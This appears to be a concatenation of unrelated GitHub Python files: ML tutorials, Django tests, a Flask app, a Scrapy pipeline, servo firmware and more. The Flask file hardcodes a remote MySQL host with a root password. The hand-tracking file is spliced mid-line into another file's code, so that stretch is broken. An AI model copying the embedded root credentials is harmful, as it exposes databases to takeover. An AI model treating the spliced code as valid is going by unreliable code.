1\nrf_model = RandomForestRegressor(random_state=1)\n\n# fit your model\nrf_model.fit(train_X, train_y)\n\n# Calculate the mean absolute error of your Random Forest model on the validation data\nval_pred = rf_model.predict(val_X)\nrf_val_mae = mean_absolute_error(val_y, val_pred)\n\nprint(\"Validation MAE for Random Forest Model: {}\".format(rf_val_mae))\n# %%\n\n''' \n Intermediate Machine Learning \n'''\n\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\n\n# Read the data\nX_full = pd.read_csv('./housing_price/train.csv', index_col='Id')\nX_test_full = pd.read_csv('./housing_price/test.csv', index_col='Id')\n\n# Obtain target and predictors\ny = X_full.SalePrice\nfeatures = ['LotArea', 'YearBuilt', '1stFlrSF', '2ndFlrSF', 'FullBath', 'BedroomAbvGr', 'TotRmsAbvGrd']\nX = X_full[features].copy()\nX_test = X_test_full[features].copy()\n\n# Break off validation set from training data\nX_train, X_valid, y_train, y_valid = train_test_split(X, y, train_size=0.8, test_size=0.2,\n random_state=0)\n# %%\nX_train.head()\n# %%\n\nfrom sklearn.ensemble import RandomForestRegressor\n'''\n Determine the best model to use\n'''\n\n# Define the models\nmodel_1 = RandomForestRegressor(n_estimators=50, random_state=0)\nmodel_2 = RandomForestRegressor(n_estimators=100, random_state=0)\nmodel_3 = RandomForestRegressor(n_estimators=100, criterion='mae', random_state=0)\nmodel_4 = RandomForestRegressor(n_estimators=200, min_samples_split=20, random_state=0)\nmodel_5 = RandomForestRegressor(n_estimators=100, max_depth=7, random_state=0)\n\nmodels = [model_1, model_2, model_3, model_4, model_5]\n\nfrom sklearn.metrics import mean_absolute_error\n\n# Function for comparing different models\ndef score_model(model, X_t=X_train, X_v=X_valid, y_t=y_train, y_v=y_valid):\n model.fit(X_t, y_t)\n preds = model.predict(X_v)\n return mean_absolute_error(y_v, preds)\n\nfor i in range(0, len(models)):\n mae = score_model(models[i])\n print(\"Model %d MAE: %d\" % (i+1, mae))\n# %%\nmy_model = RandomForestRegressor(n_estimators=100, criterion='mae', random_state=0)\nmy_model.fit(X, y)\n\npred = my_model.predict(X_test)\nX_test.head()\n# %%\n# How to create submission file.\nsubmission = pd.DataFrame({'Id': X_test.index, 'SalePrice': pred})\nsubmission.to_csv('submission.csv', index=False)\n\n# %%\n","repo_name":"emanix/ML_Tutotrial","sub_path":"iowa_housing.py","file_name":"iowa_housing.py","file_ext":"py","file_size_in_byte":4397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"4001370348","text":"\nimport smart_imports\n\nsmart_imports.all()\n\n\nclass GeneralTests(utils_testcase.TestCase):\n\n def setUp(self):\n super(GeneralTests, self).setUp()\n\n def get_uniqueness_data(self, type=None, state=None, normal_form=None):\n if state is None:\n state = relations.WORD_STATE.ON_REVIEW\n if normal_form is None:\n normal_form = 'normal-form'\n\n return {'type': type,\n 'state': state,\n 'normal_form': normal_form,\n 'forms': '',\n 'used_in_status': relations.WORD_USED_IN_STATUS.NOT_USED}\n\n def test_uniqueness(self):\n type_1 = utg_relations.WORD_TYPE.records[0]\n type_2 = utg_relations.WORD_TYPE.records[1]\n\n models.Word.objects.create(**self.get_uniqueness_data(type=type_1))\n\n with django_transaction.atomic():\n self.assertRaises(django_db.IntegrityError, models.Word.objects.create, **self.get_uniqueness_data())\n\n models.Word.objects.create(**self.get_uniqueness_data(type=type_2))\n models.Word.objects.create(**self.get_uniqueness_data(type=type_1, normal_form='normal_form-2'))\n models.Word.objects.create(**self.get_uniqueness_data(type=type_1, state=relations.WORD_STATE.IN_GAME))\n\n with django_transaction.atomic():\n self.assertRaises(django_db.IntegrityError, models.Word.objects.create, **self.get_uniqueness_data(type=type_2))\n\n with django_transaction.atomic():\n self.assertRaises(django_db.IntegrityError, models.Word.objects.create, **self.get_uniqueness_data(type=type_1, normal_form='normal_form-2'))\n\n with django_transaction.atomic():\n self.assertRaises(django_db.IntegrityError, models.Word.objects.create, **self.get_uniqueness_data(type=type_1, state=relations.WORD_STATE.IN_GAME))\n\n def test_all_lexicon_verificators_in_dictionary(self):\n for verificator in lexicon_relations.VARIABLE_VERIFICATOR.records:\n if verificator.utg_type is None:\n continue\n for substitutions in verificator.substitutions:\n for word, properties in substitutions:\n self.assertTrue(isinstance(word, int) or lexicon_dictionary.DICTIONARY.has_word(word))\n\n def test_all_lexicon_keys_have_suffient_number_of_verificator_substitutions(self):\n\n for key in lexicon_keys.LEXICON_KEY.records:\n verificators = collections.Counter(v.type.verificator for v in key.variables)\n for verificator, number in verificators.items():\n self.assertTrue(len(verificator.substitutions) >= number)\n\n def test_correct_autofill_of_noun_countable_form(self):\n word = utg_words.Word.create_test_word(utg_relations.WORD_TYPE.NOUN)\n\n for key, index in utg_data.WORDS_CACHES[word.type].items():\n if utg_relations.NOUN_FORM.COUNTABLE in key:\n word.forms[index] = ''\n\n word.autofill_missed_forms()\n\n for key, index in utg_data.WORDS_CACHES[word.type].items():\n if utg_relations.NOUN_FORM.COUNTABLE in key:\n modified_key = list(property if property != utg_relations.NOUN_FORM.COUNTABLE else utg_relations.NOUN_FORM.NORMAL for property in key)\n self.assertEqual(word.form(utg_words.Properties(*key)),\n word.form(utg_words.Properties(*modified_key)))\n\n def test_single_relation_per_restriction_group(self):\n\n mapping = {}\n\n for group in restrictions.GROUP.records:\n if group.static_relation is None:\n continue\n\n self.assertNotIn(group.static_relation, mapping)\n\n mapping[group.static_relation] = group\n","repo_name":"the-tale/the-tale","sub_path":"src/the_tale/the_tale/linguistics/tests/test_general.py","file_name":"test_general.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","stars":277,"dataset":"github-code","pt":"29"} +{"seq_id":"34107401027","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date : 2018-05-22 15:45:18\n# @Author : songpo.zhang (songpo.zhang@foxmail.com)\n# @Link : https://github.com/zspo\n# @Version : $Id$\n\ndef read_data(file_path):\n reader = pd.read_csv(file_path, header=None, encoding='gbk', iterator=True)\n loop = True\n chunkSize = 1000\n chunks = []\n while loop:\n try:\n chunk = reader.get_chunk(chunkSize)\n chunks.append(chunk)\n except StopIteration:\n loop = False\n print(\"Iteration is stopped.\")\n df = pd.concat(chunks, ignore_index=True)\n return df.values\n","repo_name":"zspo/PythonPractice","sub_path":"untitled/read_big_csv.py","file_name":"read_big_csv.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"20923603355","text":"import sqlite3\nimport os\n\n# Get the profit data from the handActions table\n# The result will be a 1D data set.\ndef GetPlayerDataSet(dbpath):\n\tconnection = sqlite3.connect(dbpath)\n\tconnection.text_factory = str\n\tc = connection.cursor()\n\ttry:\n\t\tc.execute(\"select CommunityCards from HandHistory\")\n\texcept:\n\t\tpass\n\t\n\tnumOfAce = 0\n\tnumOfAll = 0;\n\tfor row in c:\n\t\tif len(row[0]) == 10:\n\t\t\tnumOfAll += 1\n\t\t\trowList = list(row[0])\n\t\t\tif rowList[0] == 'A' or rowList[2] == 'A' or rowList[4] == 'A' \\\n\t\t\t\tor rowList[6] == 'A' or rowList[8] == 'A':\n\t\t\t\tnumOfAce += 1\n\t\t\t\n\tprint (\"finalResult : \" + str(numOfAce) + \"/\" + str(numOfAll))\n\t\t\t\nstrList = (os.getcwd(), 'HandDatas.sqlite')\ndataPath = \"/\".join(strList)\nGetPlayerDataSet(dataPath)","repo_name":"StupidCodeGenerator/PythonScripts","sub_path":"HandDataAnalysis/888CommunityAnalysis.py","file_name":"888CommunityAnalysis.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"41078942301","text":"\"\"\"TcEx Framework Module\"\"\"\n\n# third-party\nfrom pydantic import Field\n\n# first-party\nfrom tcex_app_testing.app.config.model.install_json_model import ParamsModel\n\n\nclass InteractiveParamsModel(ParamsModel):\n \"\"\"Interactive Params Model\"\"\"\n\n data_type: str | None = Field(None, description='The data type for the profile input.')\n default: bool | int | list | str | None = Field(\n None, description='The default for the interactive profile.'\n )\n option_text: str | None = Field(None, description='The text to display for the option.')\n valid_values: list[str] = Field(\n [],\n description=(\n 'Optional property to be used with the Choice, MultiChoice, and String input '\n 'types to provide pre-defined inputs for the user selection.'\n ),\n )\n\n @property\n def array_type(self):\n \"\"\"Return array type.\"\"\"\n if self.data_type is not None and self.data_type.endswith('Array'):\n return True\n return False\n\n class Config:\n \"\"\"DataModel Config\"\"\"\n\n alias_generator = None\n","repo_name":"ThreatConnect-Inc/tcex-app-testing","sub_path":"tcex_app_testing/profile/interactive/model/interactive_params_model.py","file_name":"interactive_params_model.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"17449298955","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Jul 3 09:39:56 2022\r\n\r\n@author: gilesh.mp\r\n\"\"\"\r\n\r\nimport cv2\r\nimport mediapipe as mp\r\nimport time\r\nimport handdemo as htm\r\nimport autopy\r\nimport numpy as np\r\nimport math\r\n\r\nwCam=640\r\nhCam=480\r\n\r\n\r\n\r\ncap=cv2.VideoCapture(0)\r\n\r\ncap.set(3,wCam)\r\ncap.set(4,hCam)\r\n\r\ndetector=htm.HandDetection()\r\n\r\nwScr,hScr=autopy.screen.size()\r\n\r\nprint(wScr,hScr)\r\n\r\npTime=0\r\n\r\nwhile True:\r\n ret,img=cap.read()\r\n \r\n img=detector.process_hands(img)\r\n \r\n lmList=detector.findPosition(img)\r\n \r\n if len(lmList)!=0:\r\n \r\n ix,iy,i2=lmList[8][1],lmList[8][2],lmList[6][2]\r\n mx,my,m2=lmList[12][1],lmList[12][2],lmList[10][2]\r\n \r\n jx,jy=0,0\r\n \r\n if iy 0:\n return f\"{delta.days} days ago\"\n elif (math.floor(delta.total_seconds() / 60 )) >= 60:\n return f\"{math.floor(math.floor(delta.total_seconds() / 60) / 60)} hours ago\"\n elif delta.total_seconds() >= 60:\n return f\"{math.floor(delta.total_seconds() / 60)} minutes ago\"\n else:\n return f\"{math.floor(delta.total_seconds())} seconds ago\"\n\n @classmethod\n def save(cls, data):\n query = \"INSERT INTO messages ( content, user_id, friend_id ) \"\n query += \"VALUES ( %(content)s, %(user_id)s, %(friend_id)s );\"\n\n return connectToMySQL( DATABASE ).query_db(query, data)\n\n @classmethod\n def delete_one(cls, data):\n query = \"DELETE FROM messages \"\n query += \"WHERE id = %(id)s;\"\n\n return connectToMySQL( DATABASE ).query_db(query, data)\n\n @classmethod\n def get_my_messages(cls, data):\n query = \"SELECT users.first_name AS user, users2.first_name AS friend, messages.* \"\n query += \"FROM users LEFT JOIN messages ON users.id = messages.user_id \"\n query += \"LEFT JOIN users AS users2 ON users2.id = messages.friend_id \"\n query += \"WHERE users2.id = %(id)s;\"\n\n results = connectToMySQL( DATABASE ).query_db(query, data)\n messages = []\n for message in results:\n messages.append(cls(message))\n return messages\n\n @staticmethod\n def validate_message(data):\n is_valid = True\n\n if len(data['content']) < 5:\n flash(\"Your message should be at least 5 characters long.\", \"error_message_content\")\n is_valid = False\n\n return is_valid","repo_name":"Misty94/Practice","sub_path":"Python/privateWall/flask_app/models/message_model.py","file_name":"message_model.py","file_ext":"py","file_size_in_byte":2384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36815797939","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n\n作者:Kevin\n日期:2017/6/20\n\n\"\"\"\nimport pymysql\nfrom flask import Flask, g, render_template\nimport chardet\nfrom contextlib import closing\n\napp = Flask(__name__)\n\n\ndef dbHandle():\n conn = pymysql.connect(\n host='45.76.79.73',\n user='root',\n db='douban',\n password='xiaoguang',\n charset='utf8',\n use_unicode=False,\n )\n return conn\n\n\n# def connect_db():\n# \"\"\" connect db \"\"\"\n# return sqlite3.connect(DATABASE)\n#\n#\n# def init_db():\n# \"\"\" init db \"\"\"\n# with closing(connect_db()) as db:\n# with app.open_resource('schema.sql') as f:\n# db.cursor().executescript(f.read().decode())\n# db.commit()\n\n#\n# def get_db():\n# if not hasattr(g, 'flaskr'):\n# g.sqlite_db = connect_db()\n# return g.sqlite_db\n\n\n@app.route('/')\ndef index():\n db = dbHandle()\n cursor = db.cursor()\n cursor.execute('select * from movie')\n data = cursor.fetchall()\n print(type(data))\n print(type(str(data)))\n\n result = str(data).encode().decode('utf-8')\n return 'data:' + result\n\n\nif __name__ == '__main__':\n # 开启调试模式\n app.run(debug=True)\n","repo_name":"KevinLoveGitHub/web-flask","sub_path":"flaskr.py","file_name":"flaskr.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16212036233","text":"from pprint import pprint\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics import cohen_kappa_score\nfrom itertools import combinations\nfrom krippendorff import alpha\n\n\ndef load_data(path: str) -> pd.DataFrame:\n return pd.read_csv(\n path,\n usecols=[\"id\", \"MW\", \"JP\", \"KS\"],\n delimiter=\"\\t\",\n dtype=str,\n )\n\n\ndef calculate_cohen(df: pd.DataFrame, annotators: list):\n possible_pairs = list(combinations(annotators, 2))\n response_dict = {}\n for col_a, col_b in possible_pairs:\n sub_df = df[[col_a, col_b]].copy()\n sub_df.dropna(inplace=True)\n response_dict[(col_a, col_b)] = cohen_kappa_score(\n sub_df[col_a].tolist(), sub_df[col_b].tolist()\n )\n\n return response_dict\n\n\nmetrics = {}\ntest_files = [\"data.tsv\"]\nannotators = [\"MW\", \"JP\", \"KS\"]\n\n\nfor path in test_files:\n df = load_data(path)\n arr = df[annotators].copy().to_numpy()\n metrics[path] = {\n \"cohen kappa\": calculate_cohen(df, annotators=annotators),\n \"krippendorff alpha\": alpha(np.transpose(arr), level_of_measurement=\"nominal\"),\n }\n\n\npprint(metrics)\n","repo_name":"niedakh/przestrzenne-projekt","sub_path":"stance-detection/annotate_test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19098801577","text":"import requests\nclass Comparator:\n \"\"\"\n \"\"\"\n def __init__(self,scheduleData) -> None:\n \"\"\"\n data : [\n prep = {teacher_id : max_prep_time},\n class = {teacher_id : max_class_time},\n minutes = {teacher_id : max_minutes_per_week}\n days = {teacher_id : [days_worked]} \n ]\n \n \"\"\"\n self.data=scheduleData\n self.prep_times={}\n self.class_times={}\n self.minutes_worked={}\n self.days_worked={}\n\n def compare_prep_times(self) -> dict:\n \"\"\"\n Take the user inputted data \n \"\"\"\n comparator_dict = {}\n\n for k,v in self.data[0].items():\n #initialize to 0 since this is the value to be updated \n comparator_dict[k] = (0, v)\n\n self.prep_times = comparator_dict\n\n def compare_class_times(self) -> dict:\n \"\"\"\n Take the user inputted data \n \"\"\"\n comparator_dict = {}\n\n for k,v in self.data[1].items():\n #initialize to 0 since this is the value to be updated \n comparator_dict[k] = (0, v)\n\n self.class_times = comparator_dict\n\n def compare_minutes_worked(self) -> dict:\n \"\"\"\n Take the user inputted data \n \"\"\"\n comparator_dict = {}\n\n for k,v in self.data[2].items():\n #initialize to 0 since this is the value to be updated \n comparator_dict[k] = (0, v)\n\n self.minutes_worked = comparator_dict\n\n def compare_days_worked(self) -> dict:\n \"\"\"\n Take the user inputted data \n \"\"\"\n comparator_dict = {}\n\n for k,v in self.data[3].items():\n #initialize to 0 since this is the value to be updated \n comparator_dict[k] = (0, v)\n\n self.days_worked = comparator_dict\n\nclass ScheduleData:\n def __init__(self,url:str) -> None:\n self.data = self.transform_requests_data()\n self.url = url\n self.time_blocks = {}\n self.teacher_ids = {}\n\n def time_block_mapping(self) -> dict:\n \"\"\"\n Generate and return a set of k,v pairs defined as:\n\n Chromosome_id: int -> day_startTime_endTime: string\n \"\"\" \n result_dict = {}\n #7 hours in a day, 20 minutes per block, excluding 15 mins of recess + 45 of lunch break\n mins_per_day = 360\n blocks_per_day = 18\n block_size = 20\n days = [\"Mon\",\"Wed\",\"Tue\",\"Thu\",\"Fri\"]\n #TODO:\n #create the dictionary\n\n self.time_blocks = result_dict\n\n def transform_requests_data(self) -> list:\n \"\"\"\n Take json data and reformat for schedule_builder\n\n \"\"\"\n url = self.url\n dummy_inputs = []\n prep_times = {}\n class_times = {}\n minutes_worked = {}\n days_worked = {}\n result_data = [prep_times,class_times,minutes_worked,days_worked]\n\n for i in range(len(dummy_inputs)-1):\n total_mins_worked = len(dummy_inputs[3])*420\n result_data[0][i] = dummy_inputs[1] #amount of prep time\n result_data[1][i] = total_mins_worked-dummy_inputs[1] #amount of class time\n result_data[2][i] = total_mins_worked\n result_data[3][i] = dummy_inputs[3] #list of weeks worked\n\n return result_data\n\n def store_teacher_id_mappings(self):\n \"\"\"\n Ensure that the ordering of teacher_constraints/teacher_ids can be reversed\n \"\"\"\n dummy_teacher_ids = []\n id_mappings = {}\n \n for id in range(len(dummy_teacher_ids)-1):\n #first element in each teacher_constraints json should be their id\n id_mappings[id] = dummy_teacher_ids[dummy_teacher_ids[id][0]]\n\n self.teacher_ids = id_mappings \n\nif __name__ == '__main__':\n \"\"\"d = time_block_mapping()\n for k,v in d.items():\n print(str(k)+ ': ' + str(v))\"\"\"\n","repo_name":"VasilyF/primary_time","sub_path":"server/src/teacher_constraints.py","file_name":"teacher_constraints.py","file_ext":"py","file_size_in_byte":3895,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"36026070421","text":"import unittest\nfrom functools import partial\n\nimport hypothesis.strategies as st\nimport numpy as np\nfrom auto_scan_test import PassAutoScanTest\nfrom program_config import OpConfig, ProgramConfig, TensorConfig\n\n\nclass TestQuantTranspose2DequantOneDNNFusePass(PassAutoScanTest):\n def is_program_valid(self, program_config: ProgramConfig) -> bool:\n return True\n\n def sample_program_config(self, draw):\n transpose_X = draw(st.booleans())\n axis = draw(st.sampled_from([[0, 2, 1, 3]]))\n batch_size = draw(st.integers(min_value=1, max_value=4))\n channel = draw(st.integers(min_value=1, max_value=64))\n input_dim = draw(st.sampled_from([32, 64]))\n scale = draw(st.floats(min_value=1, max_value=16))\n shift = draw(st.integers(min_value=1, max_value=3))\n is_negative_input = draw(st.booleans())\n\n def generate_input():\n if transpose_X:\n shape_x = [batch_size, channel, input_dim, 32]\n else:\n shape_x = [batch_size, channel, 32, input_dim]\n return np.random.random(shape_x).astype(np.float32)\n\n quantize_op = OpConfig(\n type='quantize',\n inputs={'Input': ['input_data']},\n outputs={'Output': ['quantize_output']},\n attrs={\n 'is_negative_input': is_negative_input,\n 'Scale': scale,\n 'Shift': shift,\n },\n )\n\n transpose2_op_1 = OpConfig(\n type='transpose2',\n inputs={'X': ['quantize_output']},\n outputs={\n 'Out': ['transpose2_output_1'],\n 'XShape': ['transpose2_xshape'],\n },\n attrs={\n 'axis': axis,\n 'use_mkldnn': True,\n 'mkldnn_data_type': 'int8',\n },\n use_mkldnn=True,\n )\n\n transpose2_op_2 = OpConfig(\n type='transpose2',\n inputs={'X': ['transpose2_output_1']},\n outputs={\n 'Out': ['transpose2_output_2'],\n 'XShape': ['transpose2_xshape'],\n },\n attrs={\n 'axis': axis,\n 'use_mkldnn': True,\n 'mkldnn_data_type': 'int8',\n },\n use_mkldnn=True,\n )\n\n dequantize_op = OpConfig(\n type='dequantize',\n inputs={'Input': ['transpose2_output_2']},\n outputs={'Output': ['dequantize_output']},\n attrs={\n 'Scale': scale,\n 'Shift': shift,\n },\n )\n\n program_config = ProgramConfig(\n ops=[quantize_op, transpose2_op_1, transpose2_op_2, dequantize_op],\n weights={},\n inputs={\n 'input_data': TensorConfig(data_gen=partial(generate_input))\n },\n outputs=['dequantize_output'],\n )\n\n return program_config\n\n def sample_predictor_configs(self, program_config):\n config = self.create_inference_config(\n use_mkldnn=True,\n passes=['quant_transpose2_dequant_onednn_fuse_pass'],\n )\n yield config, ['fused_transpose', 'fused_transpose'], (1e-5, 1e-5)\n\n def test(self):\n self.run_and_statis(\n quant=False, passes=['quant_transpose2_dequant_onednn_fuse_pass']\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"PaddlePaddle/Paddle","sub_path":"test/ir/inference/test_onednn_quant_transpose_dequant_fuse_pass.py","file_name":"test_onednn_quant_transpose_dequant_fuse_pass.py","file_ext":"py","file_size_in_byte":3416,"program_lang":"python","lang":"en","doc_type":"code","stars":21032,"dataset":"github-code","pt":"29"} +{"seq_id":"19160830284","text":"from app.models.Subject import Subject\n\n\nclass SubjectUtils:\n @staticmethod\n def to_subject(data:list) -> Subject:\n subj = Subject(name=data[1], teacher_id=data[2],\n classroom_id=data[3])\n subj.id = data[0]\n subj.description = data[4]\n return subj\n","repo_name":"nddung105/Student_Attendance_System","sub_path":"backend/app/utils/SubjectUtil.py","file_name":"SubjectUtil.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74412538637","text":"import numpy as np\nimport cv2\nimport os\n\n\ndef aplicarFiltro(filename, matSize):\n #Importa imagem\n img = cv2.imread(filename, 0)\n rows, cols = img.shape\n img2 = np.zeros((rows, cols), np.uint8)\n \n edge = matSize//2\n\n for i in range(edge, rows-edge):\n for j in range(edge, cols-edge):\n pixels = []\n for k in range(matSize):\n for l in range(matSize):\n pixels.append(img[i - edge + k,j - edge + l]) \n img2[i,j] = np.median(pixels)\n \n \n name, extension = os.path.splitext(filename)\n newname = \"{name}-Mediana{ext}\".format(name=name,ext=extension)\n cv2.imshow('Mediana', img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n cv2.imwrite(newname, img)\n ","repo_name":"Cvmcosta/Visao-computacional-opencv-","sub_path":"vc_filtragemMediana.py","file_name":"vc_filtragemMediana.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"7981249556","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport evaluation\nimport gensim\nimport re\nimport numpy as np\nimport pickle\nimport preprocess\nfrom sklearn.svm import LinearSVC\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom feature_generation import *\n\nDIR = \"data/\"\n\ndef read_unprocessed_data(path, filename):\n X = []\n y = []\n ID = []\n with open(path + filename, 'r') as f:\n for tweet in f:\n tweet = tweet.split()\n ID.append(tweet[0])\n if tweet[1] == 'neutral':\n y.append(0)\n elif tweet[1] == 'positive':\n y.append(1)\n else:\n y.append(2)\n tweet = tweet[2:]\n tweet = ' '.join(tweet)\n X.append(tweet)\n return X, y, ID\n\ndef get_data(path):\n X_train, y_train, ID_train = read_unprocessed_data(path, filename=\"twitter-training-data.txt\")\n X_test, y_test, ID_test = read_unprocessed_data(path, filename=\"twitter-test.txt\")\n\n X_train = preprocess.preprocess_pipeline(X_train)\n X_test = preprocess.preprocess_pipeline(X_test)\n\n X = X_train + X_test\n y = y_train + y_test\n\n return X_train, X_test, X, y_train, y_test, y, ID_train, ID_test\n\nX_train, X_test, X, y_train, y_test, y, ID_train, ID_test = get_data(DIR)\n\nclassifiers = [\"maxent\"]\n\nfor classifier in classifiers:\n print(\" \")\n if classifier == 'svm':\n clf = LinearSVC(class_weight='balanced')\n elif classifier == 'nb':\n clf = GaussianNB()\n elif classifier == 'rf':\n clf = RandomForestClassifier(class_weight='balanced')\n elif classifier == 'maxent':\n clf = LogisticRegression(class_weight='balanced')\n\n print(\"Generating feature space...\")\n feats = feature_pipeline(X, X_train, y_train, tfidf_unigrams=True, tfidf_bigrams=True, unigrams=True, bigrams=True, pos_tags=True)\n train_feats = feats[:45101,:]\n test_feats = feats[45101:,:]\n\n print(train_feats.shape, test_feats.shape)\n\n print(\"Training\" + classifier)\n clf.fit(train_feats, y_train)\n preds = clf.predict(test_feats)\n\n predictions = { }\n for i in range(len(ID_test)):\n ID = ID_test[i]\n pred = preds[i]\n if pred == 0:\n predictions[ID] = 'neutral'\n elif pred == 1:\n predictions[ID] = 'positive'\n else:\n predictions[ID] = 'negative'\n evaluation.evaluate(predictions, \"data/twitter-test.txt\", classifier)\n\n","repo_name":"o-P-o/twitter-sentiment-analysis","sub_path":"classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"25477948196","text":"import machine\nimport network\nimport gc\nimport time\nimport select\nimport sys\n\nfrom .lib import servo\nfrom . import colorwheel\n\nservo_pin = machine.Pin(10)\nmy_servo = servo.Servo(servo_pin, min_us=500, max_us=2500)\n\n\ndef kbhit():\n spoll = select.poll() # Set up an input polling object.\n spoll.register(sys.stdin, select.POLLIN) # Register polling object.\n\n kbch = sys.stdin.read(1) if spoll.poll(0) else None\n\n spoll.unregister(sys.stdin)\n return kbch\n\nled1 = colorwheel.ColorWheel(machine.Pin(38, machine.Pin.OUT))\n\ndegrees = 0\ndegrees_direction = True\nlast_wrote = time.ticks_ms()\nstepper = 5\nchar_buff = \"\"\ndisable_rotate = True\n\nwhile True:\n led1.update()\n now = time.ticks_ms()\n if now - last_wrote > 1000:\n last_wrote = now\n print(f\"# {degrees}°\")\n my_servo.write_angle(degrees)\n if not disable_rotate:\n if degrees_direction:\n degrees += stepper\n else:\n degrees -= stepper\n if degrees > 180:\n degrees_direction = False\n degrees = 180 - stepper\n elif degrees < 0:\n degrees_direction = True\n degrees = 0 + stepper\n\n new_char = kbhit()\n if new_char is not None:\n char_buff += new_char\n if \"\\n\" in char_buff:\n inp = char_buff.split(\"\\n\", 1)\n cmd = inp[0]\n if cmd.startswith(\"! \"):\n cmd = cmd.strip()\n cmd = cmd[2:]\n val = int(cmd)\n if val < 0:\n disable_rotate = False\n degrees = 0\n else:\n disable_rotate = True\n degrees = val\n if len(inp) == 2:\n char_buff = inp[1]\n","repo_name":"Gurkengewuerz/bachelor-thesis-code","sub_path":"cygbot-servo/src/app/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"43577260810","text":"# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\n# useful for handling different item types with a single interface\nfrom itemadapter import ItemAdapter\nfrom scrapy.exceptions import NotConfigured\nfrom sqlalchemy import create_engine, text\nfrom sqlalchemy.engine.url import URL\nfrom news import settings\nimport logging\nfrom news.items import NewsItem\n\nclass DatabasePipeline(object):\n def __init__(self, database_settings):\n print(database_settings)\n self.database_settings = database_settings\n\n @classmethod\n def from_crawler(cls, crawler):\n database_settings = crawler.settings.getdict(\"DB_SETTINGS\")\n if not database_settings: # if we don't define db config in settings\n raise NotConfigured # then reaise error\n return cls(database_settings) # returning pipeline instance\n\n def open_spider(self, spider):\n self.engine = create_engine(URL.create(**self.database_settings))\n\n def process_item(self, item, spider):\n data = {\n \"url\":item.get(\"url\")\n ,\"author\":item.get(\"author\")\n ,\"title\":item.get(\"title\")\n ,\"description\":item.get(\"description\")\n ,\"outlet\":item.get(\"outlet\")\n ,\"outlet_url\":item.get(\"outlet_url\")\n ,\"type\":item.get(\"type\")\n ,\"scraped_at\":item.get(\"scraped_at\")\n ,\"scraped_url\":item.get(\"scraped_url\")\n ,\"parent_url\":item.get(\"parent_url\")\n ,\"published_at\":item.get(\"published_at\")\n }\n query = text(\"\"\"INSERT INTO news (\n url\n ,author\n ,title\n ,description\n ,outlet\n ,outlet_url\n ,type\n ,scraped_at\n ,scraped_url\n ,parent_url\n ,published_at\n ) VALUES (:url,:author,:title,:description,:outlet,:outlet_url,:type,:scraped_at,:scraped_url, :parent_url, :published_at)\"\"\")\n with self.engine.connect() as conn:\n conn.execute(query,data)\n return item\n","repo_name":"publicmatt/newsdata","sub_path":"scraper/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12943449348","text":"import sys\nfrom glob import glob\nimport pandas as pd\n\nfiles = glob(r'/storage/users/g-and-n/plates/csvs/*')\nfiles.sort()\nprint(len(files)) # 406\n\nfile_id = int(sys.argv[1])\nfile_path = files[file_id]\n\ndf: pd.DataFrame = pd.read_csv(file_path)\ndf = df.set_index(\n ['Plate', 'Metadata_ASSAY_WELL_ROLE', 'Metadata_broad_sample', 'Image_Metadata_Well', 'ImageNumber', 'ObjectNumber'])\ndf.to_csv(file_path)\n","repo_name":"Naorko/CellProfiling-research","sub_path":"code/reformat_csvs.py","file_name":"reformat_csvs.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"41807103621","text":"from PyQt6.QtCore import QObject, pyqtSignal, pyqtSlot\nimport time\nfrom cashu.core.base import Invoice\nimport asyncio\n\n\nclass Worker(QObject):\n def __init__(self, mint, invoice: Invoice):\n super().__init__()\n self.invoice = invoice\n self.mint = mint\n\n finished = pyqtSignal()\n intReady = pyqtSignal(int)\n strReady = pyqtSignal(str)\n\n @pyqtSlot()\n def procCounter(self): # A slot takes no params\n print(f\"Checking invoice hash {self.invoice.hash}\")\n for i in range(1, 10):\n try:\n 